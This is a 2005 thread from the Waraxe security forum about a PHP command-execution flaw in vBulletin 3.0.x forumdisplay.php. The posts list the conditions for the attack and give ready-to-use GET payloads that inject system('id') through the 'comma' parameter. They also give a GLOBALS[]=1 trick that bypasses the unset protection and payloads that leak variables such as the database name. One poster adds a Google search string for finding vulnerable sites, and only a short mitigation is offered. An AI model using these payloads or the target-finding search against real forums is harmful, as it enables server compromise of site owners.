Waraxe IT Security Portal
Login or Register
November 23, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 86
Members: 0
Total: 86
Full disclosure
APPLE-SA-11-19-2024-5 macOS Sequoia 15.1.1
Local Privilege Escalations in needrestart
APPLE-SA-11-19-2024-4 iOS 17.7.2 and iPadOS 17.7.2
APPLE-SA-11-19-2024-3 iOS 18.1.1 and iPadOS 18.1.1
APPLE-SA-11-19-2024-2 visionOS 2.1.1
APPLE-SA-11-19-2024-1 Safari 18.1.1
Reflected XSS - fronsetiav1.1
XXE OOB - fronsetiav1.1
St. Poelten UAS | Path Traversal in Korenix JetPort 5601
St. Poelten UAS | Multiple Stored Cross-Site Scripting in SEH utnserver Pro
Apple web content filter bypass allows unrestricted access to blocked content (macOS/iOS/iPadOS/visionO S/watchOS)
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> All other software -> Vbullettin 3.0.x forumdisplay.php PHP command Execution
Post new topicReply to topic View previous topic :: View next topic
Vbullettin 3.0.x forumdisplay.php PHP command Execution
PostPosted: Wed Feb 16, 2005 8:41 am Reply with quote
Zeelock
Active user
Active user
Joined: Jan 27, 2005
Posts: 29
Location: Where stars come out at night




AL3NDALEED Founded that within the following conditions:

Quote:

* 1st condition : $vboptions['showforumusers'] == True , the admin must set showforumusers ON in vbulletin options.

* 2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest

* 3rd condition : $DB_site->fetch_array($forumusers) == True , when you visit the forums, it must has at least one user show the forum.

* 4th condition : magic_quotes_gpc must be OFF SPECIAL condition : you must bypass unset($GLOBALS["$_arrykey"]) code in
init.php by secret array GLOBALS[]=1 Wink))


Is it possible to inject code as in the following example:

http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."

Anyway the forth condition can be bypassed like this (nesting formulas - Credit to pokley aka pokleyzz - Not Tested)

http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma={$func($comm)}&func=system&comm=id

Or evaluating the value of variables:

forumdisplay.php?GLOBALS[]=1&f=2&comma=$admincpdir
forumdisplay.php?GLOBALS[]=1&f=2&comma=$dbname

So if you are a web master:

Solutions:
----------------
* Disable showforumusers in vbulletin options .
* add the next line before if ($vboptions['showforumusers'])
$comma = '';


Last edited by Zeelock on Thu Feb 17, 2005 8:44 am; edited 2 times in total

_________________
If it seems to be impossible, just step up your level!
View user's profile Send private message
j
PostPosted: Wed Feb 16, 2005 10:38 pm Reply with quote
SteX
Advanced user
Advanced user
Joined: May 18, 2004
Posts: 181
Location: Serbia




http://www.milw0rm.com/id.php?id=820

_________________

We would change the world, but God won't give us the sourcecode...
....Watch the master. Follow the master. Be the master....
-------------------------------------------------------
View user's profile Send private message
Yep, is the same
PostPosted: Thu Feb 17, 2005 10:06 am Reply with quote
Zeelock
Active user
Active user
Joined: Jan 27, 2005
Posts: 29
Location: Where stars come out at night




As you can see is just a GET req the one by AL3NDALEEB.

The problem lays in Magic Quotes. These protect the innocent against this exploit.

_________________
If it seems to be impossible, just step up your level!
View user's profile Send private message
PoC
PostPosted: Thu Feb 17, 2005 11:48 am Reply with quote
pokleyzz
Regular user
Regular user
Joined: Feb 17, 2005
Posts: 6




http://www.securityfocus.com/archive/attachment/390667/2/
View user's profile Send private message
Great Pokleyzz, In tune on Time
PostPosted: Thu Feb 17, 2005 12:57 pm Reply with quote
Zeelock
Active user
Active user
Joined: Jan 27, 2005
Posts: 29
Location: Where stars come out at night




Always in time!


I'll test it this evening in my dummy localhost VBullettin Site

_________________
If it seems to be impossible, just step up your level!
View user's profile Send private message
PostPosted: Thu Feb 17, 2005 8:28 pm Reply with quote
LINUX
Moderator
Moderator
Joined: May 24, 2004
Posts: 404
Location: Caiman




Is very hard find servers they have these functions
in my opinion only 15 % all VB (3.0.x-3.04) installed in all world is vulnerable

Code:
* 1st condition : $vboptions['showforumusers'] == True , the admin must set showforumusers ON in vbulletin options.

* 2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest

* 3rd condition : $DB_site->fetch_array($forumusers) == True , when you visit the forums, it must has at least one user show the forum.
View user's profile Send private message Visit poster's website
PostPosted: Thu Feb 17, 2005 10:53 pm Reply with quote
pokleyzz
Regular user
Regular user
Joined: Feb 17, 2005
Posts: 6




Quote:

* 1st condition : $vboptions['showforumusers'] == True , the admin must set showforumusers ON in vbulletin options.

* 2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest

* 3rd condition : $DB_site->fetch_array($forumusers) == True , when you visit the forums, it must has at least one user show the forum.

searching something like this `inurl:"forumdisplay" +"Currently Active Users" +"vBulletin Version 3.0.3"` in google will help find one.

You can create the third condition by login as registered user and view the forum.
View user's profile Send private message
PostPosted: Fri Feb 18, 2005 9:41 am Reply with quote
Alkaen
Regular user
Regular user
Joined: Feb 16, 2005
Posts: 5
Location: Bahrain - Aldair




Thanx dude
View user's profile Send private message Visit poster's website
Vbullettin 3.0.x forumdisplay.php PHP command Execution
www.waraxe.us Forum Index -> All other software
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.046 Seconds